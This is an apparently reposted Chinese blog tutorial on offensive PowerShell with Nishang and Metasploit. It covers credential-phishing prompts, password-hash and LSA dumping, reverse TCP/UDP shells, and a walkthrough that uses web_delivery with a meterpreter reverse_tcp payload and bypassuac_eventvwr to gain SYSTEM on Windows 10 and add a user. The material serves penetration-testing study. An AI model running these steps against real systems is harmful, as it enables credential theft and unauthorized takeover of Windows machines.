Powershell And Metasploit(上)

00x01  #题外话

作者:墨(X_Al3r)

即刻安全:www.secist.com

十三年社团:www.zmnhssn.com

一篇不知道该用什么名字的文章!

00x02  

#什么是Powershell

PowerShell一般指Windows Power Shell

Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的

活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,

才能被我们所利用,帮助我们进行渗透测试。

Powershell的各系统版本

  1. indows 2008 R2 - Version 2
  2. Windows 2012 - Version 3
  3. Windows 2012 R2 - Version 4
  4. Windows 2016 - Version 5

#Poswershell的优秀之处

  1. 代码运行在内存中可以不去接触磁盘
  2. 从另一个系统中下载代码并执行
  3. 很多安全产品并不能监测到powershell的活动
  4. cmd.exe通常被阻止运行,但是powershell不会。

00x03

#所需要准备的东西

1: Nishanghttps://github.com/samratashok/nishang(本文主要工具,其他不做使用介绍)、

用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

2:LinuxKaLi: http://www.kali.org

#导入Nishang脚本

1:启用Powershell

Win+R 启动Powershell

图片1.png

2:加载Nishang脚本

命令:Import-Module .\nishang.psm1

图片2.png

记住,要加上.\否则会报错例如这样

图片3.png

00x04模块介绍

#信息搜集

0:Check-VM  它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:HVMWare,Virtual Box,)来识别。

图片4.png

1:Invoke-CredentialsPhish  这个脚本是用来欺骗用户输入账号密码信息的

图片5.png

他会一直持续到你输入正确为止(无法关闭)直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码

图片6.png

Useradmin:admin

PassWord:qwe123!@#

2: FireBuster FireListener  可以对内网进行扫描,它会把包发给FireListener

图片7.png

脚本作者的Github上面还提供了一个Python版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

3:Get-Information 这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。

图片8.png

图片9.png

图片10.png

还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用Out-File来将运行结果保存到指定文件.

Get-Information | Out-File D:\1.txt

4:Get-LSASecret 该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下。

因为执行这个脚本需要32位的powershell(我的为64)就不做演示了

图片11.png

5:Get-PassHashes  这个脚本在Administrator的权限下,可以读出密码哈希值

图片12.png

可以使用-PSObjectFormat来格式化输出结果

图片13.png

6:Get-WLAN-Keys 在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息

没有装wlan所以没有信息

7:Invoke-MimikatzWdigestDowngrade Dump出Windows 8.1 and Server 2012的系统用户密码。

相信看到Mimikatz也就知道了   执行了Windows会锁屏

图片14.png

8:Get-PassHints   从一个目标得到Windows用户的密码提示   没有密码提示,就不演示了

以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍

喜欢提权的小伙伴,干货来了~~~

#反弹shell

0:Invoke-PowerShellTcp  互交式Powershell 反向TCP连接

首先我在Kali(标题带有kali怎么能不启用kali呢)上启用启用一个监听

图片15.png

然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

图片16.png

图片17.png

同样,windows也可以挂载一个监听使用powercat即可

Powercat项目地址:https://github.com/besimorhino/powercat

图片18.png

同样在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

同样,毫无例外

图片19.png

1:Invoke-PowerShellUdp 互交式Powershell 反向udp连接

同样我先在Kali上启用启用一个监听不过这次用的ncat

图片20.png

图片21.png

2:powercat   这款工具的强大我相信也不用我多说了吧,他被称之为PowerShell的netcat之前也有说,我就不细细介绍了

当然,反弹shell不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~

00x04实战操作Powershell与Metasploit

1:win10_BypassUAC(win10提权)

1:攻击者ip:192.168.1.103

2:攻击者系统:Linux Kali

3:被攻击者ip:192.168.1.100

4:被攻击者系统:Win10

2:攻击流程

1:使用Metasploit中的web_delivery模块生成一个Powershell脚本

2:被攻击者系统执行Posershell脚本

3:msf接收一个会话

4:使用bypassuac模块提升权限

3:攻击开始

1:加载web_delivery模块

use exploit/multi/script/web_delivery

Show options查看所需要设置的信息

图片22.png

设置target为2

set target 2

加载一个Payload

set payload windows/meterpreter/reverse_tcp

设置LHOST

设置LPORT

开始攻击

Exploit

图片23.png

然后我在物理机上执行下Metasploit给我的Powershell执行代码

图片24.png

图片25.png

Metasploit反弹得到一个meterpreter会话

图片26.png

图片27.png

加载BypassUac模块

use exploit/windows/local/bypassuac_eventvwr

Show options 查看所需配置

图片28.png

Set session

设置你刚刚获得的meterpreter会话

Exploit 开始攻击

当然你需要换一下你的端口,否则会冲突

反弹得到一个会话

图片29.png

得到system权限

图片30.png

使用shell命令进入cmd 添加用户

图片31.png

已经添加成功  如果直接添加是不可以的

图片32.png

Powershell And Metasploit(上)结束

下会后续发布~~  如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~

UAC提权(来自我们demon表哥的视频):

http://oc78wb8cz.bkt.clouddn.com/ win10_bypassUAC.mp4

本文搜集许多资料做的小结,有如雷同,请勿责怪~

本博客所有文章如无特别注明均为原创。作者:ssnhy13 ,复制或转载请以超链接形式注明转自 克拉玛依市高级中学--十三年 。

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论

// 360自动收录 // 360自动收录